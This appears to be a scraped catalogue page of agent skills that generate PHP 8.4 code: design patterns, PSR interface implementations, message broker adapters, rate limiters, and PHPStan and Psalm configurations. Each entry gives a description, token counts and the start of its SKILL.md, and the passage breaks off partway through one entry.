SKILL.mdcore11,833 bytesSKILL.mdcore11,833 bytesSKILL.mdcore11,833 bytesSKILL.mdcore11,833 bytesSKILL.mdcore11,833 bytesSKILL.mdcore11,833 bytesSKILL.mdcore11,833 bytesSKILL.mdcore11,833 bytes
Read SKILL.md
# Integration Test Generator
Generates PHPUnit 11+ integration tests for PHP 8.4 infrastructure components.
## Characteristics
- **Real dependencies** — uses actual implementations
- **Database transactions** — rollback after each test
- **Isolated** — no cross-test contamination
- **Slower than unit** — acceptable for infrastructure testing
## Template
```phpView the complete source on GitHubcreate-iterator
When your agent uses it
Generates Iterator pattern for PHP 8.4. Creates sequential access to aggregate elements without exposing underlying representation, with iterator interface and iterable collections. Includes unit tests.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
1,255 tokensWhen the skill is activated
Reference documents
4,643 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Common Iterator Patterns
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore5,658 bytesSKILL.mdcore5,658 bytesSKILL.mdcore5,658 bytesSKILL.mdcore5,658 bytesreferences/examples.mddoc12,497 bytesreferences/templates.mddoc6,994 bytes
Read SKILL.md
# Iterator Pattern Generator
Creates Iterator pattern infrastructure for sequential access to collection elements.
## When to Use
| Scenario | Example |
|----------|---------|
| Traverse collections | Order items, user lists, product catalog |
| Multiple traversal algorithms | Forward, backward, filtered iteration |
| Unified collection interface | Standardize iteration across different types |
| Hide collection structure | Encapsulate internal representation |
## Component CharacteristicsView the complete source on GitHubcreate-mediator
When your agent uses it
Generates Mediator pattern for PHP 8.4. Creates coordination layer for complex component interactions with event dispatching, request/response handling, and colleague classes. Reduces coupling between interacting objects. Includes unit tests.
What it loads into context
Frontmatter
51 tokensAlways available to the agent
SKILL.md
1,011 tokensWhen the skill is activated
Reference documents
7,827 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Generated Components
- Input Requirements
- Template: Mediator Interface
- Template: Colleague Interface
- Template: Abstract Colleague
- File Placement
- GRASP Compliance
- References
Files
SKILL.mdcore4,490 bytesSKILL.mdcore4,490 bytesSKILL.mdcore4,490 bytesSKILL.mdcore4,490 bytesSKILL.mdcore4,490 bytesSKILL.mdcore4,490 bytesSKILL.mdcore4,490 bytesSKILL.mdcore4,490 bytesSKILL.mdcore4,490 bytesSKILL.mdcore4,490 bytesreferences/examples.mddoc13,959 bytesreferences/templates.mddoc21,368 bytes
Read SKILL.md
# Mediator Pattern Generator
## Overview
Generates Mediator pattern components for PHP 8.4 to coordinate complex interactions between multiple objects without them referencing each other directly.
## When to Use
- Complex communication between multiple objects
- Reducing coupling in event-driven systems
- Coordinating UI components or form elements
- Command bus / Query bus implementation
- Chat room / notification hub scenarios
- Workflow coordinationView the complete source on GitHubcreate-memento
When your agent uses it
Generates Memento pattern for PHP 8.4. Creates state capture and restoration mechanism for undo/redo functionality, with originator, memento, and caretaker components. Includes unit tests.
What it loads into context
Frontmatter
46 tokensAlways available to the agent
SKILL.md
1,462 tokensWhen the skill is activated
Reference documents
5,174 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Common Memento Examples
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore5,964 bytesSKILL.mdcore5,964 bytesSKILL.mdcore5,964 bytesSKILL.mdcore5,964 bytesSKILL.mdcore5,964 bytesreferences/examples.mddoc13,904 bytesreferences/templates.mddoc6,849 bytes
Read SKILL.md
# Memento Pattern Generator
Creates Memento pattern infrastructure for capturing and restoring object state without violating encapsulation.
## When to Use
| Scenario | Example |
|----------|---------|
| Undo/Redo functionality | Document editor, form drafts, game state |
| State snapshots | Transaction rollback, checkpoint systems |
| State history tracking | Audit trail, version history |
| Transactional operations | Multi-step processes with rollback |
## Component CharacteristicsView the complete source on GitHubcreate-message-broker-adapter
When your agent uses it
Generates Message Broker Adapter components for PHP 8.4. Creates unified broker interface with RabbitMQ, Kafka, SQS adapters, message serialization, and unit tests.
What it loads into context
Frontmatter
44 tokensAlways available to the agent
SKILL.md
1,194 tokensWhen the skill is activated
Reference documents
10,002 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- DI Configuration
- References
Files
SKILL.mdcore5,266 bytesSKILL.mdcore5,266 bytesSKILL.mdcore5,266 bytesSKILL.mdcore5,266 bytesreferences/examples.mddoc21,949 bytesreferences/templates.mddoc21,916 bytes
Read SKILL.md
# Message Broker Adapter Generator
Creates unified message broker abstraction with adapter implementations for multiple broker technologies.
## When to Use
| Scenario | Example |
|----------|---------|
| Broker abstraction | Switch between RabbitMQ/Kafka/SQS without code changes |
| Multi-broker support | Different brokers for different bounded contexts |
| Testing isolation | InMemory adapter for tests |
| Migration path | Gradual migration from one broker to another |
| Vendor independence | Avoid lock-in to specific message broker |
View the complete source on GitHubcreate-metrics-collector
When your agent uses it
Generates Metrics Collector for PHP 8.4. Creates MetricsCollectorInterface, Counter/Gauge/Histogram wrappers, PrometheusMetricsCollector, MetricsMiddleware for RED metrics. Includes unit tests.
What it loads into context
Frontmatter
47 tokensAlways available to the agent
SKILL.md
1,349 tokensWhen the skill is activated
Reference documents
3,444 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- RED Metrics Pattern
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore6,168 bytesSKILL.mdcore6,168 bytesSKILL.mdcore6,168 bytesSKILL.mdcore6,168 bytesSKILL.mdcore6,168 bytesreferences/examples.mddoc8,205 bytesreferences/templates.mddoc7,574 bytes
Read SKILL.md
# Metrics Collector Generator
Creates metrics collection infrastructure for application observability and monitoring.
## When to Use
| Scenario | Example |
|----------|---------|
| Request monitoring | Track request rate, errors, duration (RED) |
| Business metrics | Count orders, revenue, active users |
| Performance profiling | Histogram of response times |
| Health dashboards | Expose `/metrics` for Prometheus scraping |
## Component CharacteristicsView the complete source on GitHubcreate-mock-repository
When your agent uses it
Generates InMemory repository implementations for PHP 8.4 testing. Creates fake repositories with array storage, supporting CRUD operations and queries without database.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
620 tokensWhen the skill is activated
Reference documents
2,055 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Characteristics
- Template
- Generation Instructions
- Best Practices
- References
Files
SKILL.mdcore2,632 bytesSKILL.mdcore2,632 bytesreferences/examples.mddoc4,875 bytesreferences/other-fakes.mddoc4,102 bytes
Read SKILL.md
# Mock Repository Generator
Generates InMemory (Fake) repository implementations for testing.
## Characteristics
- **No database** — stores entities in memory
- **Fast** — no I/O operations
- **Isolated** — fresh state per test
- **Deterministic** — predictable behavior
- **Implements interface** — same contract as real repository
## Template
View the complete source on GitHubcreate-null-object
When your agent uses it
Generates Null Object pattern for PHP 8.4. Creates safe default implementations eliminating null checks. Includes unit tests.
What it loads into context
Frontmatter
31 tokensAlways available to the agent
SKILL.md
1,125 tokensWhen the skill is activated
Reference documents
3,601 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Neutral Return Values
- Quick Template Reference
- Usage Example
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore4,828 bytesSKILL.mdcore4,828 bytesSKILL.mdcore4,828 bytesSKILL.mdcore4,828 bytesSKILL.mdcore4,828 bytesSKILL.mdcore4,828 bytesreferences/examples.mddoc10,958 bytesreferences/templates.mddoc4,652 bytes
Read SKILL.md
# Null Object Pattern Generator
Creates Null Object pattern infrastructure for eliminating null checks.
## When to Use
| Scenario | Example |
|----------|---------|
| Optional dependencies | Logger, Cache, Notifier |
| Missing entities | Customer, User, Product |
| Feature toggles | Disabled feature returns null object |
| Default implementations | No-op defaults |
## Component CharacteristicsView the complete source on GitHubcreate-object-pool
When your agent uses it
Generates Object Pool pattern for PHP 8.4. Creates reusable object containers for expensive resources like connections. Includes unit tests.
What it loads into context
Frontmatter
34 tokensAlways available to the agent
SKILL.md
1,112 tokensWhen the skill is activated
Reference documents
5,156 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore4,814 bytesSKILL.mdcore4,814 bytesSKILL.mdcore4,814 bytesSKILL.mdcore4,814 bytesSKILL.mdcore4,814 bytesreferences/examples.mddoc12,664 bytesreferences/templates.mddoc9,311 bytes
Read SKILL.md
# Object Pool Pattern Generator
Creates Object Pool pattern infrastructure for managing reusable expensive objects.
## When to Use
| Scenario | Example |
|----------|---------|
| Expensive creation | Database connections |
| Limited resources | HTTP client handles |
| Connection reuse | Socket connections |
| Memory management | Large object caching |
## Component CharacteristicsView the complete source on GitHubcreate-outbox-pattern
When your agent uses it
Generates Transactional Outbox pattern components for PHP 8.4. Creates OutboxMessage entity, repository, publisher, and processor with unit tests.
What it loads into context
Frontmatter
39 tokensAlways available to the agent
SKILL.md
1,631 tokensWhen the skill is activated
Reference documents
5,320 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- Key Principles
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- DI Configuration
- Database Schema
- References
Files
SKILL.mdcore6,826 bytesSKILL.mdcore6,826 bytesSKILL.mdcore6,826 bytesSKILL.mdcore6,826 bytesSKILL.mdcore6,826 bytesSKILL.mdcore6,826 bytesSKILL.mdcore6,826 bytesSKILL.mdcore6,826 bytesSKILL.mdcore6,826 bytesreferences/templates.mddoc15,678 bytesreferences/tests.mddoc7,109 bytes
Read SKILL.md
# Outbox Pattern Generator
Creates Transactional Outbox pattern infrastructure for reliable event publishing.
## When to Use
- Need reliable event publishing across transaction boundaries
- Prevent message loss if broker is down
- Ensure exactly-once or at-least-once delivery
- Maintain consistency between database and message broker
## Component Characteristics
### OutboxMessage EntityView the complete source on GitHubcreate-phpstan-config
When your agent uses it
Generates PHPStan configurations for PHP projects. Creates phpstan.neon with appropriate level, extensions, paths, baseline support, and DDD-specific rules.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
1,969 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Generated Files
- Configuration by Project Type
- Extension Configuration
- Custom Error Patterns
- Level Migration Guide
- CI Configuration
- Performance Optimization
- Generation Instructions
- Usage
Files
SKILL.mdcore7,848 bytesSKILL.mdcore7,848 bytesSKILL.mdcore7,848 bytes
Read SKILL.md
# PHPStan Configuration Generator
Generates optimized PHPStan configurations for PHP 8.4+ projects.
> All examples target **PHPStan 2.x**: `level` accepts `0`-`10` (`10` = max), and parameters removed in 2.0 (`checkMissingIterableValueType`, `checkGenericClassInNonGenericObjectType`, `checkExplicitMixed`, `checkImplicitMixed`) must never be generated — they abort the run.
## Generated Files
```
phpstan.neon # Main configuration
phpstan-baseline.neon # Error baseline (if needed)
```
## Configuration by Project TypeView the complete source on GitHubcreate-policy
When your agent uses it
Generates Policy pattern for PHP 8.4. Creates encapsulated business rules for authorization, validation, and domain constraints. Includes unit tests.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
1,174 tokensWhen the skill is activated
Reference documents
3,062 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore5,117 bytesSKILL.mdcore5,117 bytesSKILL.mdcore5,117 bytesSKILL.mdcore5,117 bytesSKILL.mdcore5,117 bytesSKILL.mdcore5,117 bytesreferences/examples.mddoc8,561 bytesreferences/templates.mddoc4,781 bytes
Read SKILL.md
# Policy Pattern Generator
Creates Policy pattern infrastructure for encapsulating business rules and authorization logic.
## When to Use
| Scenario | Example |
|----------|---------|
| Authorization checks | Can user cancel order? |
| Business rule validation | Is discount applicable? |
| Complex conditions | Multiple rules combined |
| Auditable decisions | Log why access denied |
## Component CharacteristicsView the complete source on GitHubcreate-prototype
When your agent uses it
Generates Prototype pattern implementations for PHP 8.4. Creates deep/shallow copy, clone customization, prototype registries, and immutable object duplication.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
1,438 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Pattern Overview
- Generation Templates
- Detection Patterns (Audit)
- Anti-Patterns to Avoid
- Output Format
Files
SKILL.mdcore6,172 bytesSKILL.mdcore6,172 bytesSKILL.mdcore6,172 bytesSKILL.mdcore6,172 bytesSKILL.mdcore6,172 bytesSKILL.mdcore6,172 bytesSKILL.mdcore6,172 bytes
Read SKILL.md
# Prototype Pattern Generator
Generate Prototype pattern implementations for PHP 8.4 with proper deep/shallow copy semantics.
## Pattern Overview
Prototype creates new objects by cloning existing instances, avoiding costly construction and enabling runtime object configuration.
## Generation Templates
### 1. Basic Prototype with Clone
```php
<?phpView the complete source on GitHubcreate-proxy
When your agent uses it
Generates Proxy pattern for PHP 8.4. Controls access, adds lazy loading, caching, logging. Includes unit tests.
What it loads into context
Frontmatter
33 tokensAlways available to the agent
SKILL.md
896 tokensWhen the skill is activated
Reference documents
3,815 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Common Proxies
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore3,981 bytesSKILL.mdcore3,981 bytesSKILL.mdcore3,981 bytesreferences/examples.mddoc11,466 bytesreferences/templates.mddoc5,301 bytes
Read SKILL.md
# Proxy Pattern Generator
Creates Proxy pattern infrastructure for controlling access to objects.
## When to Use
| Scenario | Example |
|----------|---------|
| Lazy initialization | Load expensive resources on first access |
| Access control | Check permissions before delegating |
| Caching | Cache results of expensive operations |
| Logging | Log calls to real subject |
## Component CharacteristicsView the complete source on GitHubcreate-psalm-config
When your agent uses it
Generates Psalm configurations for PHP projects. Creates psalm.xml with appropriate error level, plugins, taint analysis, and DDD-specific settings.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
2,472 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Generated Files
- Configuration by Project Type
- Plugin Configuration
- Issue Handlers
- Taint Analysis Configuration
- Baseline Management
- Level Migration Guide
- CI Configuration
- Generation Instructions
- Usage
Files
SKILL.mdcore10,086 bytesSKILL.mdcore10,086 bytesSKILL.mdcore10,086 bytes
Read SKILL.md
# Psalm Configuration Generator
Generates optimized Psalm configurations for PHP 8.4+ projects.
Targets Psalm 6.x (`vimeo/psalm: ^6.0`) — `errorLevel` is an attribute of the root `<psalm>` element and only one `<projectFiles>` element is allowed.
## Generated Files
```
psalm.xml # Main configuration
psalm-baseline.xml # Error baseline (if needed)
```
## Configuration by Project TypeView the complete source on GitHubcreate-psr11-container
When your agent uses it
Generates PSR-11 Container implementation for PHP 8.4. Creates ContainerInterface with service resolution, autowiring support, and exceptions. Includes unit tests.
What it loads into context
Frontmatter
44 tokensAlways available to the agent
SKILL.md
1,877 tokensWhen the skill is activated
Reference documents
1,841 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Generated Components
- Template: Simple Container
- Template: Autowiring Container
- Template: Exceptions
- Template: Unit Test
- Usage Example
- Requirements
- See Also
Files
SKILL.mdcore8,328 bytesSKILL.mdcore8,328 bytesSKILL.mdcore8,328 bytesSKILL.mdcore8,328 bytesSKILL.mdcore8,328 bytesSKILL.mdcore8,328 bytesreferences/examples.mddoc3,512 bytesreferences/templates.mddoc4,746 bytes
Read SKILL.md
# PSR-11 Container Generator
## Overview
Generates PSR-11 compliant dependency injection container implementations.
## When to Use
- Building lightweight DI container
- Creating service locator
- Simple service resolution needs
- Testing with mock containers
## Generated ComponentsView the complete source on GitHubcreate-psr13-link
When your agent uses it
Generates PSR-13 Hypermedia Links implementation for PHP 8.4. Creates LinkInterface, EvolvableLinkInterface, and LinkProviderInterface for HATEOAS support. Includes unit tests.
What it loads into context
Frontmatter
52 tokensAlways available to the agent
SKILL.md
1,532 tokensWhen the skill is activated
Reference documents
1,677 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Generated Components
- Template: Link
- Template: Link Provider
- Template: Resource with Links
- Usage Example
- Requirements
Files
SKILL.mdcore6,261 bytesSKILL.mdcore6,261 bytesSKILL.mdcore6,261 bytesSKILL.mdcore6,261 bytesSKILL.mdcore6,261 bytesreferences/examples.mddoc2,230 bytesreferences/templates.mddoc4,727 bytes
Read SKILL.md
# PSR-13 Hypermedia Links Generator
## Overview
Generates PSR-13 compliant hypermedia link implementations for HATEOAS REST APIs.
## When to Use
- Building REST APIs with HATEOAS
- Creating hypermedia-driven resources
- Link relation management
- URI templates
## Generated ComponentsView the complete source on GitHubcreate-psr14-event-dispatcher
When your agent uses it
Generates PSR-14 Event Dispatcher implementation for PHP 8.4. Creates EventDispatcherInterface, ListenerProviderInterface, and StoppableEventInterface with event propagation. Includes unit tests.
What it loads into context
Frontmatter
51 tokensAlways available to the agent
SKILL.md
1,739 tokensWhen the skill is activated
Reference documents
2,553 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Generated Components
- Template: Event Dispatcher
- Template: Listener Provider
- Template: Stoppable Event
- Template: Domain Event
- Template: Event Listener
- Template: Unit Test
- Usage Example
- DDD Integration
- Requirements
- See Also
Files
SKILL.mdcore7,856 bytesSKILL.mdcore7,856 bytesSKILL.mdcore7,856 bytesSKILL.mdcore7,856 bytesSKILL.mdcore7,856 bytesSKILL.mdcore7,856 bytesSKILL.mdcore7,856 bytesSKILL.mdcore7,856 bytesSKILL.mdcore7,856 bytesreferences/examples.mddoc5,436 bytesreferences/templates.mddoc6,491 bytes
Read SKILL.md
# PSR-14 Event Dispatcher Generator
## Overview
Generates PSR-14 compliant event dispatcher for domain events and application events.
## When to Use
- Implementing event-driven architecture
- Domain event dispatching in DDD
- Decoupling application components
- Building CQRS systems
## Generated ComponentsView the complete source on GitHubcreate-psr15-middleware
When your agent uses it
Generates PSR-15 HTTP Middleware implementation for PHP 8.4. Creates MiddlewareInterface and RequestHandlerInterface with pipeline composition. Includes unit tests.
What it loads into context
Frontmatter
42 tokensAlways available to the agent
SKILL.md
2,241 tokensWhen the skill is activated
Reference documents
2,840 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Generated Components
- Template: Middleware
- Template: Middleware Pipeline
- Template: Request Handler
- Template: Common Middleware
- Template: Unit Test
- Usage Example
- Requirements
Files
SKILL.mdcore10,583 bytesSKILL.mdcore10,583 bytesSKILL.mdcore10,583 bytesSKILL.mdcore10,583 bytesSKILL.mdcore10,583 bytesSKILL.mdcore10,583 bytesSKILL.mdcore10,583 bytesreferences/examples.mddoc5,659 bytesreferences/templates.mddoc7,652 bytes
Read SKILL.md
# PSR-15 HTTP Middleware Generator
## Overview
Generates PSR-15 compliant HTTP middleware and request handlers for building middleware pipelines.
## When to Use
- Building HTTP middleware pipeline
- Authentication/authorization middleware
- CORS, logging, error handling middleware
- Request/response transformation
## Generated ComponentsView the complete source on GitHubcreate-psr16-simple-cache
When your agent uses it
Generates PSR-16 Simple Cache implementation for PHP 8.4. Creates CacheInterface with get/set/delete operations and TTL handling. Includes unit tests.
What it loads into context
Frontmatter
43 tokensAlways available to the agent
SKILL.md
1,546 tokensWhen the skill is activated
Reference documents
2,246 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Template: Array Cache
- Template: Redis Cache
- Template: Exceptions
- Usage Example
- Requirements
Files
SKILL.mdcore6,296 bytesSKILL.mdcore6,296 bytesSKILL.mdcore6,296 bytesSKILL.mdcore6,296 bytesSKILL.mdcore6,296 bytesreferences/examples.mddoc2,846 bytesreferences/templates.mddoc6,504 bytes
Read SKILL.md
# PSR-16 Simple Cache Generator
## Overview
Generates PSR-16 compliant simple cache implementations for basic caching needs.
## When to Use
- Simple key-value caching
- Performance-critical code paths
- Minimal caching abstraction
- Quick cache integration
## Template: Array CacheView the complete source on GitHubcreate-psr17-http-factory
When your agent uses it
Generates PSR-17 HTTP Factories implementation for PHP 8.4. Creates RequestFactoryInterface, ResponseFactoryInterface, StreamFactoryInterface, UriFactoryInterface, ServerRequestFactoryInterface, UploadedFileFactoryInterface. Includes unit tests.
What it loads into context
Frontmatter
60 tokensAlways available to the agent
SKILL.md
1,207 tokensWhen the skill is activated
Reference documents
2,210 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Template: HTTP Factory
- Usage Example
- DI Container Registration
- Requirements
Files
SKILL.mdcore5,563 bytesSKILL.mdcore5,563 bytesSKILL.mdcore5,563 bytesSKILL.mdcore5,563 bytesreferences/examples.mddoc4,038 bytesreferences/templates.mddoc5,795 bytes
Read SKILL.md
# PSR-17 HTTP Factories Generator
## Overview
Generates PSR-17 compliant HTTP factory implementations for creating PSR-7 objects.
## When to Use
- Creating PSR-7 messages in DI containers
- Testing HTTP interactions
- Building HTTP frameworks
- Decoupling from specific PSR-7 implementations
## Template: HTTP FactoryView the complete source on GitHubcreate-psr18-http-client
When your agent uses it
Generates PSR-18 HTTP Client implementation for PHP 8.4. Creates ClientInterface with request sending and exception handling. Includes unit tests.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
1,585 tokensWhen the skill is activated
Reference documents
2,432 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Template: HTTP Client
- Template: Exceptions
- Template: Logging Client Decorator
- Usage Example
- Requirements
Files
SKILL.mdcore7,183 bytesSKILL.mdcore7,183 bytesSKILL.mdcore7,183 bytesSKILL.mdcore7,183 bytesSKILL.mdcore7,183 bytesreferences/examples.mddoc3,842 bytesreferences/templates.mddoc6,817 bytes
Read SKILL.md
# PSR-18 HTTP Client Generator
## Overview
Generates PSR-18 compliant HTTP client implementations for external API communication.
## When to Use
- External API integrations
- Microservice communication
- HTTP-based service calls
- Building HTTP client wrappers
## Template: HTTP ClientView the complete source on GitHubcreate-psr20-clock
When your agent uses it
Generates PSR-20 Clock implementation for PHP 8.4. Creates ClockInterface implementations including SystemClock, FrozenClock, and OffsetClock for time abstraction and testing. Includes unit tests.
What it loads into context
Frontmatter
49 tokensAlways available to the agent
SKILL.md
1,894 tokensWhen the skill is activated
Reference documents
4,158 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Template: Clock Interface
- Template: System Clock
- Template: Frozen Clock (Testing)
- Template: Offset Clock
- Template: Monotonic Clock
- Template: Unit Test
- Usage Example
- File Placement
- Requirements
Files
SKILL.mdcore7,740 bytesSKILL.mdcore7,740 bytesSKILL.mdcore7,740 bytesSKILL.mdcore7,740 bytesSKILL.mdcore7,740 bytesSKILL.mdcore7,740 bytesSKILL.mdcore7,740 bytesSKILL.mdcore7,740 bytesreferences/examples.mddoc9,820 bytesreferences/templates.mddoc7,374 bytes
Read SKILL.md
# PSR-20 Clock Generator
## Overview
Generates PSR-20 compliant clock implementations for time abstraction.
## When to Use
- Time-dependent business logic
- Testing time-sensitive code
- Scheduling and time calculations
- Reproducible time behavior
## Template: Clock InterfaceView the complete source on GitHubcreate-psr3-logger
When your agent uses it
Generates PSR-3 Logger implementation for PHP 8.4. Creates LoggerInterface implementations with log levels, context interpolation, and LoggerAwareTrait usage. Includes unit tests.
What it loads into context
Frontmatter
47 tokensAlways available to the agent
SKILL.md
2,409 tokensWhen the skill is activated
Reference documents
3,908 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Generated Components
- File Naming
- Template: File Logger
- Template: Null Logger
- Template: Logger Aware
- Template: Unit Test
- Usage Examples
- Requirements
- See Also
Files
SKILL.mdcore9,855 bytesSKILL.mdcore9,855 bytesSKILL.mdcore9,855 bytesSKILL.mdcore9,855 bytesSKILL.mdcore9,855 bytesSKILL.mdcore9,855 bytesSKILL.mdcore9,855 bytesSKILL.mdcore9,855 bytesreferences/examples.mddoc7,281 bytesreferences/templates.mddoc9,131 bytes
Read SKILL.md
# PSR-3 Logger Generator
## Overview
Generates PSR-3 compliant logger implementations following `Psr\Log\LoggerInterface`.
## When to Use
- Implementing custom logging solutions
- Creating application-specific loggers
- Building logging adapters for external services
- Testing with mock/null loggers
## Generated ComponentsView the complete source on GitHubcreate-psr6-cache
When your agent uses it
Generates PSR-6 Cache implementation for PHP 8.4. Creates CacheItemPoolInterface and CacheItemInterface implementations with TTL handling and deferred saves. Includes unit tests.
What it loads into context
Frontmatter
46 tokensAlways available to the agent
SKILL.md
2,179 tokensWhen the skill is activated
Reference documents
2,602 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Generated Components
- Template: Cache Item
- Template: Array Cache Pool
- Template: Unit Test
- Usage Example
- Requirements
- See Also
Files
SKILL.mdcore8,788 bytesSKILL.mdcore8,788 bytesSKILL.mdcore8,788 bytesSKILL.mdcore8,788 bytesSKILL.mdcore8,788 bytesreferences/examples.mddoc3,453 bytesreferences/templates.mddoc7,327 bytes
Read SKILL.md
# PSR-6 Cache Generator
## Overview
Generates PSR-6 compliant cache implementations following `Psr\Cache\CacheItemPoolInterface` and `Psr\Cache\CacheItemInterface`.
## When to Use
- Complex caching with cache items as objects
- Need for deferred/batched saves
- Building cache frameworks
- Need for cache item metadata
## Generated ComponentsView the complete source on GitHubcreate-psr7-http-message
When your agent uses it
Generates PSR-7 HTTP Message implementations for PHP 8.4. Creates Request, Response, Stream, Uri, and ServerRequest classes with immutability. Includes unit tests.
What it loads into context
Frontmatter
49 tokensAlways available to the agent
SKILL.md
873 tokensWhen the skill is activated
Reference documents
8,679 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Generated Components
- Quick Template: Response
- Usage Example
- Requirements
- See Also
Files
SKILL.mdcore3,661 bytesSKILL.mdcore3,661 bytesSKILL.mdcore3,661 bytesreferences/examples.mddoc6,596 bytesreferences/templates.mddoc30,562 bytes
Read SKILL.md
# PSR-7 HTTP Message Generator
## Overview
Generates PSR-7 compliant HTTP message implementations following `Psr\Http\Message` interfaces.
## When to Use
- Building custom HTTP framework
- Creating lightweight HTTP message handling
- Need for immutable request/response objects
- Testing HTTP interactions
## Generated ComponentsView the complete source on GitHubcreate-query
When your agent uses it
Generates CQRS Queries and Handlers for PHP 8.4. Creates read-only query DTOs with handlers that return data without side effects. Includes unit tests.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
923 tokensWhen the skill is activated
Reference documents
4,224 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Query Characteristics
- Generation Process
- File Placement
- Query Naming Conventions
- Quick Template Reference
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore3,781 bytesSKILL.mdcore3,781 bytesSKILL.mdcore3,781 bytesSKILL.mdcore3,781 bytesreferences/examples.mddoc11,478 bytesreferences/templates.mddoc6,287 bytes
Read SKILL.md
# Query Generator
Generate CQRS-compliant Queries and Query Handlers with tests.
## Query Characteristics
- **Immutable**: `final readonly class`
- **Interrogative naming**: Get/Find/List + noun
- **No side effects**: Handler never modifies state
- **Returns DTOs**: Never returns domain entities
- **Read-optimized**: Can use dedicated read models
---
View the complete source on GitHubcreate-rate-limiter
When your agent uses it
Generates Rate Limiter pattern for PHP 8.4. Creates request throttling with token bucket, sliding window, and fixed window algorithms. Includes unit tests.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
1,148 tokensWhen the skill is activated
Reference documents
4,248 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Component Characteristics
- Generation Process
- File Placement
- Naming Conventions
- Quick Template Reference
- Usage Example
- Algorithm Comparison
- Anti-patterns to Avoid
- References
Files
SKILL.mdcore4,990 bytesSKILL.mdcore4,990 bytesSKILL.mdcore4,990 bytesSKILL.mdcore4,990 bytesreferences/examples.mddoc7,745 bytesreferences/templates.mddoc10,068 bytes
Read SKILL.md
# Rate Limiter Generator
Creates Rate Limiter pattern infrastructure for request throttling and API protection.
## When to Use
| Scenario | Example |
|----------|---------|
| API protection | Prevent abuse |
| Resource throttling | Database connection limits |
| Fair usage | Per-user request limits |
| Burst protection | Spike handling |
## Component CharacteristicsView the complete source on GitHubcreate-read-model
When your agent uses it
Generates Read Model/Projection for PHP 8.4. Creates optimized query models for CQRS read side with projections and denormalization. Includes unit tests.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
1,160 tokensWhen the skill is activated
Reference documents
